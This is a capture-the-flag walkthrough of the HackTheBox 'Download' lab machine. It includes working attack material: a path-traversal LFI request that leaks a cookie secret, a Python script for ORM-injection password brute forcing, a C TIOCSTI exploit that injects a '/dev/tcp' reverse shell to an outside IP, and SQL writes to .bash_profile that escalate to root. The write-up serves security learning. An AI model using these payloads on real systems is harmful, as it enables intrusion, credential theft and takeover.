HackTheBox-Download Walkthrough

S0l4ris-211
12 min readDec 1, 2023

--

Download is a Linux machine designed to be difficult and emphasizes the use of Object-Relational Mapping (ORM) injection. Finding a Local File Inclusion (LFI) vulnerability in the web application is the first step. By exploiting this vulnerability, we can create and sign our own cookies because we can access the source code and retrieve the cookie secret. Furthermore, an ORM injection vulnerability in the source code enables us to retrieve a user’s hashed password. We are able to access the box via SSH by cracking the hash. We use a flaw in TIOCSTI to push arbitrary commands character by character into the STDIN stream of a terminal with higher privileges in order to escalate privileges and eventually gain `root} access.

Enumeration

Rustscan - (2 Open ports)

Automatically increasing ulimit value to 65535.
Open 10.10.11.226:22
Open 10.10.11.226:80
Starting Script(s)
Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-20 01:45 +06
Initiating Ping Scan at 01:45
Scanning 10.10.11.226 [2 ports]
Completed Ping Scan at 01:45, 3.00s elapsed (1 total hosts)
Nmap scan report for 10.10.11.226 [host down, received no-response]
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.05 seconds

Nmap (Detail enumeration)

# Nmap 7.93 scan initiated Wed Sep 20 01:46:56 2023 as: nmap -A -vvv -p 22,80 -oN download.nmap 10.10.11.226
Nmap scan report for 10.10.11.226
Host is up, received echo-reply ttl 63 (0.50s latency).
Scanned at 2023-09-20 01:46:57 +06 for 38s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ccf16346e67a0ab8ac83be290fd63f09 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuWCP0vWvijGHDhspMXZbTI7QnJUQp0r4tPbhbRxRgOJ+9BOh6GU7XOL3oL0ZCrcaT5UjnaoXlsWBNiP06QktmTwlyq4OnTjQfAqsgmv1EBoLGjMFkipeAFYbs5iN9heQ2YCrwaTxqksUY4WwrOKqnpGqHqfYRUf5hYOrRNDKuauVt+htRDt+DDkbcIHv8RNmZvffnhjKpzbYlJND/cHBMzADSKNO+01ZhQwqIj1Waq1DIzKHhAZXa8Dx7yQ1eV0Mfgy0FfXKz/79j2bCRSEIDAONCyIpVo/EYOwi7wY8DG3jZdId8MPrXvXDUiu4qMaRpSTHqSxchMrANoELluOKRwKX+jo4ieDLQ+8ds871tgE/4KVPDkAQesQSNB3KNlaUT40BdJvtcBDZrSSgqGIv9nUwfRfnFLtpnCIE7GI3eUi0AaLYsGzodmZM6xYk4iZJMnw9oNSrmVhBCiKcz/LM9IZytMlWA8jHVl51v19YjYn1csPEbZR3nXddcyN1A/qc=
| 256 2c99b4b1977a8b866d37c913619fbcff (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDtcQEndNphvT9KpiBavbuC83D+p+RJ179gV8yI27QUxA9L/cy2s6B0GiEFpeyuvYQt+pRe5QpdYxwJzBkgrQj8=
| 256 e6ff779412407b06a2977ade14945bae (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII/jAu2c8ySXaISmaxqbGzrYSe1+N5SwuHYYYe/yCrVJ
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://download.htb
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.93%E=4%D=9/20%OT=22%CT=%CU=33390%PV=Y%DS=2%DC=T%G=N%TM=6509FAD7%P=x86_64-pc-linux-gnu)
SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
OPS(O1=M53AST11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST11NW7%O6=M53AST11)
WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53ANNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 14.019 days (since Wed Sep 6 01:20:52 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 604.18 ms 10.10.16.1
2 363.56 ms 10.10.11.226

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 20 01:47:35 2023 -- 1 IP address (1 host up) scanned in 39.97 seconds

Let’s add the IP in our /etc/hosts file

cat /etc/hosts                                                             
127.0.0.1 localhost
127.0.1.1 solaris.localdomain solaris
10.10.11.226 download.htb
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouter

Going to the website we are presented with a simple upload file site.

In the upload section we can upload file but not sure with what extension will be accepted here. Although, this is a rabit hole to think it has a file upload vulnerability at first as the machine doesn’t provide any hint of it.

At first we will register in this website and will see the request and response of the site to check for clues.

Now we can upload a file and check for its functionality. We have tried to upload a reverse shell php file to check if we can get a shell in our box, but it was blunder. Yet, we can see something odd happening at the top left side after uploading a file.

We check for further but nothing founded. However we can check the burp request. We are taken to the “/view” path at the conclusion of this process, from where we can download the file using the “/download” path. But since we can use “..” to access system files and go back through folders, it seems that this redirection is not fully cleaned.

We get a session cookie. Looks like it is a base64 encoded message. We can decode it and check the result.

Here we found some json stuff. We will get back into this if we found something later.

I attempted with the basic LFI payload, but I wasn’t very successful despite trying a few different strategies. This leads me to believe that it might be cleaned up or that we might not have access beyond the folder on the website.

We could investigate the typical structure of an Express project since Wappalyzer indicates that the website is developed with Express.js and Node.js. Upon closer inspection of this structure, we find a “static” folder, which may be significant in this particular situation. We may be able to navigate back just one folder and read files like package.json. Usually, this folder stores files statically or temporarily.

node_project/
├── src/
│ ├── controllers/
│ ├── middleware/
│ ├── models/
│ ├── routes/
│ ├── services/
│ ├── utils/
│ └── app.js
├── public/
│ ├── images/
│ ├── stylesheets/
│ └── scripts/
├── views/
│ ├── partials/
│ └── layouts/
├── test/
│ ├── unit/
│ ├── integration/
│ └── e2e/
├── config/
│ ├── development/
│ ├── production/
│ └── index.js
├── static
├── logs/
├── .gitignore
├── .env
├── .env.local
├── package.json
└── README.md

So we can enumerate to package.json using curl

It revels the user ‘wesley’. We enumerate earlier from the base64 encoded message found in the request area from the BrupSuite.

A key used to generate cookies is located inside the “app.js” file. With this key, we can use the primary user listed in the “package.json” to create more cookies with an ID of 1.

$ curl -s -k 'http://download.htb/files/download/..%2fapp.js' -v 
* Trying 10.10.11.226:80...
* Connected to download.htb (10.10.11.226) port 80 (#0)
> GET /files/download/..%2fapp.js HTTP/1.1
> Host: download.htb
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Tue, 19 Sep 2023 20:33:50 GMT
< Content-Type: application/javascript; charset=UTF-8
< Content-Length: 2168
< Connection: keep-alive
< X-Powered-By: Express
< Content-Disposition: attachment; filename="Unknown"
< Accept-Ranges: bytes
< Cache-Control: public, max-age=0
< Last-Modified: Fri, 21 Apr 2023 17:11:40 GMT
< ETag: W/"878-187a4ccd572"
< Set-Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=; path=/; expires=Tue, 26 Sep 2023 20:33:50 GMT; httponly
< Set-Cookie: download_session.sig=4kbZR1kOcZNccDLxiSi7Eblym1E; path=/; expires=Tue, 26 Sep 2023 20:33:50 GMT; httponly
<
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
autoescape: true,
express: app,
noCache: true,
});
app.use((0, cookie_session_1.default)({
name: "download_session",
keys: ["8929874489719802418902487651347865819634518936754"],
maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
console.log("Listening on ", port);
if (process.env.NODE_ENV === "production") {
setTimeout(async () => {
await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
}, 300000);
}
});
* Connection #0 to host download.htb left intact

Since we have access to the signature, we can use “cookie-monster” tool to sign the cookies. This enables us to carry out this operation.

In order to sign the cookie, we can copy the “download_session” cookie’s structure, save it as a JSON file, and then change the “username” field to “wesley,” the project owner. This will enable us to produce a signed cookie with the required data in it.

{
"flashes": {
"info": [],
"error": [],
"success": []
},
"user": {
"id": 1,
"username": "wesley"
}
}

After that we can procced to the cookie-monster tool.

After that we place the value of sig session and download session into the burp response we forward the request.

Upon successfully logging in as “wesley” and signing the cookies, we are greeted with multiple PDF files. These files don’t seem to be very helpful or relevant to our search, though.

Initial Access with Wesley user

If we examine the cookie, we find a way to use a “startswith” based injection to conduct a brute-force attack. With this method, we could get the user wesley’s password.

What we can do is to automate this process and get the full string. However the string will provide a hash. We can use the below script:

#!/usr/bin/env python3

import string, subprocess, json, re, requests

regex = r"download_session=([\w=\-_]+).*download_session\.sig=([\w=\-_]+)"


def writeJson(j):
with open("cookie.json", "w") as f:
f.write(json.dumps(j))

def generateCookieAndSign(startsWith):
j = {"user":{"username":{"contains": "WESLEY"}, "password":{"startsWith":startsWith}}}
writeJson(j)
out = subprocess.check_output(["./cookie-monster.js", "-e", "-f", "cookie.json", "-k", "8929874489719802418902487651347865819634518936754", "-n", "download_session"]).decode().replace("\n"," ")
matches = re.findall(regex, out, re.MULTILINE)[0]
return matches

passwd = ""
alphabet="abcdef"+string.digits
for i in range(32):
#print(passwd)
for s in alphabet:
p = passwd + s
(download_session, sig) = generateCookieAndSign(p)
cookie = {"download_session": download_session, "download_session.sig": sig}
#print(p, cookie)
print(p, end='\r')
r = requests.get('http://download.htb/home/', cookies=cookie)
if len(r.text) != 2174:
passwd = p
break
print()

This creates an MD5 hash, which we can decrypt with “Crackstation” website and use to authenticate as “wesley” over SSH.

Now we can get user access.

$ ssh wesley@download.htb        
The authenticity of host 'download.htb (10.10.11.226)' can't be established.
ED25519 key fingerprint is SHA256:I0UEhPwwqSoDLGgboDmJ5hAHx5IJs4Fj4g8KDbJtjEo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'download.htb' (ED25519) to the list of known hosts.
wesley@download.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-155-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Tue 19 Sep 2023 10:03:53 PM UTC

System load: 0.8
Usage of /: 58.8% of 5.81GB
Memory usage: 85%
Swap usage: 1%
Processes: 906
Users logged in: 1
IPv4 address for eth0: 10.10.11.226
IPv6 address for eth0: dead:beef::250:56ff:feb9:82bc


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Aug 3 08:29:52 2023 from 10.10.14.23
wesley@download:~$

Road To Privilege Escalation

A service known as “download-site” is present when we use “pspy64” to investigate the processes. This implies that we should look into the files associated with this service more.

We discover a connection to PostgreSQL with a hard-coded encrypted password inside the service file. Using PostgreSQL, we can authenticate ourselves with this password.

We can now login to the postgres user with this password.

We can write files just like the postgres user because we have the “pg_write_server_files” permission, as we can see from looking at the user’s permissions.

We can now obtain a reverse shell of the “postgres” user and use it to run a test, and surprisingly, it works.

We can confirm that this tactic has worked in this way.

Eventually, I discovered that if I included commands as “sudo” commands in “.bash_profile,” I could run them as root. Gives the designated user’s rights when “su -l” is run. It escapes because the shell keeps running as the original user. We can verify that the session is still in progress as well. So what we do is to hijack this session and get the shell inactive.

We can escalate privileges by using the following C code. Our plan is for the cron task to execute “sudo -l postgres” and then “.bash_profile” which contains our C exploit that will enable us to take control of the terminal. Since we lack write permissions, we will execute the SQL query from the “postgres” connection, which takes the binary and writes it to the “/var/lib/postgresql/.bash_profile” file. This allows us to simply wait for the cron job to finish before launching our exploit.

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main() {
int fd = open("/dev/tty", O_RDWR);
if (fd < 0) {
perror("open");
return -1;
}
char *x = "exit\n/bin/bash -l > /dev/tcp/10.10.16.50/8001 0<&1 2>&1\n";
while (*x != 0) {
int ret = ioctl(fd, TIOCSTI, x);
if (ret == -1) {
perror("ioctl()");
}
x++;
}
return 0;
}

The C file has been compiled and uploaded to the computer. It is now located in a directory like “/tmp” where we have write permissions. However, I encountered problems running the exploit and compiling the code because the machine did not support the version of the code I was using, or it did not support my version of the compiler. As a result, I had a lot of difficulty troubleshooting this machine and figuring out what was wrong. So I did this to solve the problem.

gcc -static <executable_file_name> <C_code>

So, we copied our exploit to the bash_profile using this query, waited for it to be executed, and then used root to access our reverse shell.

COPY (SELECT CAST('/tmp/exploit' AS text)) TO '/var/lib/postgresql/.bash_profile';

Then we got shell as Root in the machine. Although the shell die in a few moments. But you can get the root SSH keys just changing the malicious query a bit.

COPY (SELECT CAST ("/bin/bash -c 'cp /root/.ssh/authorized_keys /tmp/id_rsa'" AS text)) TO '/var/lib/postgresql/.bash_profile';

Conclusion

I have got lot fun doing this machine yet I got encountered with the issue for compiling. This a good machine to learn about the session hijacking and cookie manipulation. To conclude, I would like to give a thanks to the machine creator.

--

--

S0l4ris-211
S0l4ris-211

Written by S0l4ris-211

A dedicated Cyber Security enthusiasm person, Red Teamer & Penetration Tester.

No responses yet